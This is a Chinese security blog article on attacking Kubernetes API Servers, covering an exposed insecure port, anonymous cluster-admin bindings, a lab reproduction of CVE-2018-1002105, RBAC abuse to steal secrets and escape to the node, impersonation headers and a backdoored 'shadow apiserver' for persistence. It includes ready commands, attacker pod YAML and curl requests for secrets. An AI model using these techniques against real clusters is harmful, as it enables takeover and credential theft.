文章首发于火线Zone社区：https://zone.huoxian.cn/d/126...
apiserver简介 API Server 作为 K8s 集群的管理入口，在集群中被用于提供API来控制集群内部。默认情况下使用 8080 （insecure-port，非安全端口）和 6443 （secure-port，安全端口）端口，其中 8080 端口无需认证，6443端口需要认证且有 TLS 保护。
apiserver工作原理图：

文章图片

而apiserver在渗透测试过程中受到以下风险：

• apiserver的Insecure-port端口对外暴露
• apiserver未授权配置错误(匿名访问+绑定高权限角色)
• 历史apiserver提权漏洞(例如CVE-2018-1002105)
• 配置不当的RBAC受到的提权风险
• apiserver权限维持
• ...

1.apiserver的Insecure-port端口对外暴露 API Server 作为 K8s 集群的管理入口，在集群中被用于提供API来控制集群内部。默认情况下使用 8080 （insecure-port，非安全端口）和 6443 （secure-port，安全端口）端口，其中 8080 端口无需认证，6443端口需要认证且有 TLS 保护。
如果其在生产环境中Insecure-port 被暴露出来，便利用此端口进行对集群的攻击。
但是这种情况很少了，条件必须是低版本（1.20版本后该选项已无效化）加配置中(/etc/kubernets/manifests/kube-apiserver.yaml )写了insecure-port选项,默认不开启：

文章图片

2.apiserver未授权配置错误(匿名访问+绑定高权限角色) Api server的 6443 （secure-port，安全端口）认证是需要凭据的。

文章图片

如果配置错误，将system:anonymous用户绑定到了cluster-admin用户组，那么匿名用户可以支配集群。

kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous

文章图片

这种配置下可以拿到所有token后与api server交互，支配集群：

文章图片

3.历史apiserver提权漏洞(例如CVE-2018-1002105) CVE-2018-1002105是一个K8s提权漏洞，Kubernetes用户可以在已建立的API Server连接上，打通了client到kubelet的通道，实现提升k8s普通用户到k8s api server的权限。
漏洞影响版本:

• Kubernetes v1.0.x-1.9.x
• Kubernetes v1.10.0-1.10.10 (fixed in v1.10.11)
• Kubernetes v1.11.0-1.11.4 (fixed in v1.11.5)
• Kubernetes v1.12.0-1.12.2 (fixed in v1.12.3)

漏洞利用条件:
这边普通用户至少需要具有一个pod的exec/attach/portforward等权限。
环境：
构造一个命名空间test，和一个test命名空间的pod，原有权限是对test命名空间下的pod的exec权限，漏洞利用后将权限提升为了API Server权限，这里用metarget靶场起一个环境：

文章图片

创建namespace:

apiVersion: v1 kind: Namespace metadata: name: test

创建role：

apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: test namespace: test rules: - apiGroups: - "" resources: - pods verbs: - get - list - delete - watch - apiGroups: - "" resources: - pods/exec verbs: - create - get

创建role_binding.yml:

apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: test namespace: test roleRef: apiGroup: rbac.authorization.k8s.io kind: Role name: test subjects: - apiGroup: rbac.authorization.k8s.io kind: Group name: test

创建pod：

apiVersion: v1 kind: Pod metadata: name: test namespace: test spec: containers: - name: ubuntu image: ubuntu:latest imagePullPolicy: IfNotPresent # Just spin & wait forever command: [ "/bin/bash", "-c", "--" ] args: [ "while true; do sleep 30; done; " ] serviceAccount: default serviceAccountName: default

最后给用户配置一个静态的token文件来配置用户的认证：
当在命令行上指定 --token-auth-file=SOMEFILE 选项时，API server 从文件读取 bearer token。
token 文件是一个 csv 文件，每行至少包含三列：token、用户名、用户 uid：

token,user,uid,"group1,group2,group3"

这里使用到的配置token：

password,test,test,test

验证：
对指定test空间下的pod执行命令是可以的：

kubectl --token=password --server=https://192.168.1.22:6443 --insecure-skip-tls-verify exec -it test -n test /bin/hostname

文章图片

对其他命名空间越权操作发现提示权限不足：

kubectl --token=password --server=https://192.168.1.22:6443 --insecure-skip-tls-verify get pods -n kube-system

文章图片

漏洞复现：
exp：https://github.com/Metarget/cloud-native-security-book/blob/main/code/0403-CVE-2018-1002105/exploit.py
exp中也是会创建一个挂载宿主机根目录的pod，实现容器逃，而创建的基础是利用前面说的高权限websocket连接，利用这个连接向apiserver发送命令，窃取高凭据文件，再利用凭据文件创建pod，挂载宿主机根目录。
挂载了以后读取宿主机节点的/etc/kubernetes/pki目录下的大量敏感凭据：

文章图片

exp中指定读取的证书文件：

文章图片

利用：

文章图片

这样就拿到了凭据，最后就是创建pod挂载宿主机根目录：

# attacker.yaml apiVersion: v1 kind: Pod metadata: name: attacker spec: containers: - name: ubuntu image: ubuntu:latest imagePullPolicy: IfNotPresent # Just spin & wait forever command: [ "/bin/bash", "-c", "--" ] args: [ "while true; do sleep 30; done; " ] volumeMounts: - name: escape-host mountPath: /host-escape-door volumes: - name: escape-host hostPath: path: /

文章图片

【K8s 之 ApiServer 组件风险】host-escape-door 目录为pod挂载宿主机的目录,发现已经可以查看apiserver宿主机的目录：

文章图片

4.配置不当的RBAC受到的提权风险 RBAC权限滥用提权 权限滥用主要在对特定资源有特定操作的情况下，可以有特定的权限提升。


枚举当前RBAC权限
在指定当前通过渗透得到用户凭据或者sa的凭据后，可以先枚举当前有哪些权限：

文章图片


文章图片

也可以使用curl对apiserver的api进行访问来区别当前的权限:

文章图片

枚举之后应该对当前凭据对资源的操作有个数了，下面列举在分配权限时，哪些情况下有提权提升的可能。
create pods权限
resources: ["*"] verbs: ["create"]：resources为*或者为pods的情况下，verbs是create，在集群中可以创建任意资源，比如像pods，roles.而创建pods的命名空间也取决你role中metadata.namespace的值：

文章图片

如果有create权限，常见攻击手法就是创建挂载根目录的pod，跳到node：

文章图片

list secrets权限
resources: ["*"] verbs: ["list"]：resources为*或者为secrets的情况下，verbs是list,在集群中可以列出其他user的secrets，一般拿来寻找特权账号凭据。
具有list权限或者说是list secrets权限的role可以列出集群中重要的secrets，包括管理的keys(JWT):

文章图片

利用：
curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/
get secret权限
resources: ["*"] verbs: ["get"]: resources为*或者为secrets的情况下，verbs是get，get可以在集群中获得其他service accounts的secrets。
如下定义Role的resources字段为*或者secrets对象，并且verbs为get，这时候有权限获得其他secrets。

文章图片

get权限能访问的api：

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

但是get和list不一样，get需要知道secrets的id才能读：

文章图片

图出处：图出处，list和get来窃取凭据的区别：https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf
这时候用读secrets来攻击的话常见手法是读默认的sa的token,默认有这些sa:

文章图片

对应的token:

kubectl -n kube-system get secret -n kube-system

文章图片

可以看到每个sa的token都是sa的name-token-随机五个字符,
其中随机的字符是由数字和字母组合，特定的27个字符：
https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#183：#

文章图片

27的5次方也是14,348,907可能，写个py脚本的迭代器爆破即可：

文章图片

get list watch secrets权限
resources: ["*"] verbs: ["get","list","watch"]:resources字段为*或者secrets的话可以利用这三个权限，来创建一个恶意pod后通过挂载secrets以至获取别人的secrets，然后外带：

文章图片


文章图片

这里使用automountServiceAccountToken将特权服务帐户的令牌挂载到 pod，使用令牌获取拿到所有secrets后用nc传到攻击者监听端口，当前也可以使用其他方式带外：

文章图片

图出处，创建一个"hot pod"来窃取凭据：https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf
Impersonate权限
用户可以通过模拟标头充当另一个用户。这些让请求手动覆盖请求身份验证的用户信息。例如，管理员可以使用此功能通过临时模拟另一个用户并查看请求是否被拒绝来调试授权策略。
以下 HTTP 标头可用于执行模拟请求：

• Impersonate-User：要充当的用户名。
• Impersonate-Group：要充当的组名。可以多次提供设置多个组。可选的。需要“模拟用户”。
• Impersonate-Extra-( extra name )：用于将额外字段与用户关联的动态标题。可选的。需要“模拟用户”。
• Impersonate-Uid：代表被模拟用户的唯一标识符。可选的。需要“模拟用户”。Kubernetes 对此字符串没有任何格式要求。

有了Impersonate权限攻击者可以模拟一个有特权的账户或者组：
Role:

文章图片

binding:

文章图片

模拟用户的操作是通过调用K8s API 的Header来指定的，kubectl可以加入--as参数：

kubectl --as ... kubectl --as --as-group ...

请求apiserver:

curl -k -v -XGET -H "Authorization: Bearer " \ -H "Impersonate-Group: system:masters"\ -H "Impersonate-User: null" \ -H "Accept: application/json" \ https://:/api/v1/namespaces/kube-system/secrets/

5.apiserver权限维持 在渗透权限维持阶段如果像常规对机器比如容器做权限维持的话， 是有弊端的，因为在K8s中会对pod进行扩容和缩容，权限维持的机器就会变得有生命周期而使已获得权限变得不稳定。所以在K8s中利用apiserver做权限维持是个不错的选择，
shadow apiserver
shadow apiserver就是创建一种针对K8s集群的隐蔽持续控制通道， 在原有的apiserver上开放更大的权限并且放弃日志审计，从而达到隐蔽性和持久控制目的。
pdf：
https://published-prd.lanyone...
原本apiserver信息：

文章图片

apiserver pod的详细：

文章图片

构造shadow apiserver需要在原有的基础上增加功能,总所周知cdk工具可以一键部署shadow apiserver：
pkg/exploit/k8s_shadow_apiserver.go:

文章图片

可以发现cdk在配置文件中添加：

--allow-privileged --insecure-port=9443 --insecure-bind-address=0.0.0.0 --secure-port=9444 --anonymous-auth=true --authorization-mode=AlwaysAllow

可以看到通过参数新启动的apiserver允许了容器请求特权模式，暴露了insecure-port为9443，监听地址绑定为0.0.0.0，允许了匿名访问，允许所有请求。
也可以修改cdk中原有配置的参数来定制你的后门apiserver。直接修改argInsertReg.ReplaceAllString函数里的内容即可。
ps ：
insecure-port的参数在最新cdk已经被注释了，这个参数在K8s 1.24会直接弃用。
所以这个时候当前可以匿名向apiserver访问请求管理集群，curl/kubectl去请求，
kubectl -s 192.168.1.22:6443 get pods,deployment -o wide

文章图片

6.最后 k8s API Server提供了k8s各类资源对象（pod,RC,Service等）的增删改查及watch等HTTP Rest接口，是整个系统的数据总线和数据中心，充当了集群中不可或缺的一个角色，因此apiserver组件的安全以及基线检查工作对于集群来说尤为重要，在集群安全的角度对apiserver组件安全问题和风险也应该保持持续的关注。

推荐阅读

• 

  什么鸟儿是飞行家
• 

  古风笔名
• 

  怀孕初期吃什么好 怀孕初期饮食原则
• 

  redis查看当前是哪个数据库 查看redis数据库版本
• 

  【创融同学会征4动态】征4创融跑团戈壁挑战赛备战会议圆满成功
• 

  现在的英雄联盟满攻速是点那个符文？
• 

  蟹蒸出来怎么蟹黄变黑了
• 

  柠檬女孩什么意思 柠檬女孩的意思
• 

  tr4
• 

  佳能万能版清零软件-打印机清零软件怎么下载
• 

  Android开源日志库Logger
• 

  牵牛花种子什么时候种植 牵牛花种子什么时候种
• 

  西门子燃气灶显示灯解决方法有哪些？
• 

  夏季吃红辣椒可以预防中暑
• 

  大豆纤维被孔数越多越好吗
• 

  牛抄藤
• 

  usbcan分析仪
• 

  青海信创服务器在知乎上的评价如何？ 青海信创服务器怎么样知乎
• 

  怎样培殖蚯蚓 水蚯蚓培育方法
• 

  中国联通手机营业厅100M全国流量免费领 升级即可领取

• 云计算|Linux 常用网络命令大全
• 在 KubeSphere 部署 Wiki 系统 wiki.js 并启用中文全文检索
• 准备好迁移上云了（请收下这份迁移步骤清单）
• 「云原生的进阶之路」|【Docker 那些事儿】关于容器底层技术的奥秘
• 「云原生的进阶之路」|【Docker 那些事儿】如何安全地停止、删除容器
• 「云原生的进阶之路」|【Docker 那些事儿】关于Namespace隔离机制的奥秘
• 「云原生的进阶之路」|【Docker 那些事儿】容器为什么傲娇（全靠镜像撑腰）
• 在 KubeSphere 上部署 Apache Pulsar
• 百度智能云喊你参加“金砖大赛” ！